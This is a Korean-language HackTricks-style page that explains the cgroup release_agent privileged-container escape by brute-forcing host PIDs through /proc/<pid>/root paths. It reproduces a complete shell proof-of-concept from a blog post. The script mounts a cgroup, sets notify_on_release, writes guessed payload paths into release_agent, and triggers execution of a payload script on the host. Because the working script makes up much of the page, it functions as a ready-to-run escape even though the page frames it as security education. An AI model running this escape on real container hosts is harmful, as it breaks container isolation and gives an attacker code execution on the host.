release_agent exploit - Relative Paths to PIDs

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

자세한 내용은 https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html의 블로그 포스트를 확인하세요. 이것은 요약입니다:

이 기술은 Kata Containers 또는 특정 devicemapper 설정과 같이 컨테이너의 파일 시스템 경로를 가리키는 저장소 드라이버 구성으로 인해 호스트에서 컨테이너 내에서 호스트 코드를 실행하는 방법을 설명합니다.

주요 단계:

  1. 프로세스 ID (PID) 찾기: Linux 의사 파일 시스템의 /proc/<pid>/root 심볼릭 링크를 사용하여 호스트의 파일 시스템에 상대적인 컨테이너 내의 모든 파일에 액세스할 수 있습니다. 이를 통해 호스트에서 컨테이너의 파일 시스템 경로를 알 필요가 없어집니다.

  2. PID Bashing: 호스트에서 PID를 순차적으로 확인하여 특정 파일이 /proc/<pid>/root/<file>에 존재하는지 확인하는 브루트 포스 방식을 사용합니다. 파일이 발견되면 해당 PID가 대상 컨테이너 내에서 실행 중인 프로세스에 속한다는 것을 나타냅니다.

  3. 실행 트리거: 추측한 PID 경로를 cgroups release_agent 파일에 작성합니다. 이 작업은 release_agent의 실행을 트리거합니다. 이 단계의 성공은 출력 파일의 생성 여부로 확인됩니다.

Exploitation Process

Exploitation 프로세스는 컨테이너 내에서 실행 중인 프로세스의 올바른 PID를 추측하여 호스트에서 페이로드를 실행하는 더 자세한 작업 집합을 포함합니다. 다음은 그 과정입니다:

  1. 환경 초기화: 호스트에서 페이로드 스크립트 (payload.sh)를 준비하고 cgroup 조작을 위한 고유한 디렉토리를 생성합니다.

  2. 페이로드 준비: 호스트에서 실행할 명령을 포함하는 페이로드 스크립트를 작성하고 실행 가능하게 만듭니다.

  3. Cgroup 설정: cgroup을 마운트하고 구성합니다. notify_on_release 플래그를 설정하여 cgroup이 해제될 때 페이로드가 실행되도록 합니다.

  4. PID 브루트 포스: 루프를 통해 잠재적인 PID를 반복적으로 확인하고 추측한 각 PID를 release_agent 파일에 작성합니다. 이렇게 하면 페이로드 스크립트가 release_agent로 설정됩니다.

  5. 트리거 및 실행 확인: 각 PID에 대해 cgroup의 cgroup.procs에 작성하여 PID가 올바른 경우 release_agent가 실행됩니다. 페이로드 스크립트의 출력이 발견될 때까지 루프가 계속됩니다. 이는 성공적인 실행을 나타냅니다.

블로그 포스트의 PoC:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
htARTE (HackTricks AWS Red Team Expert)을 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated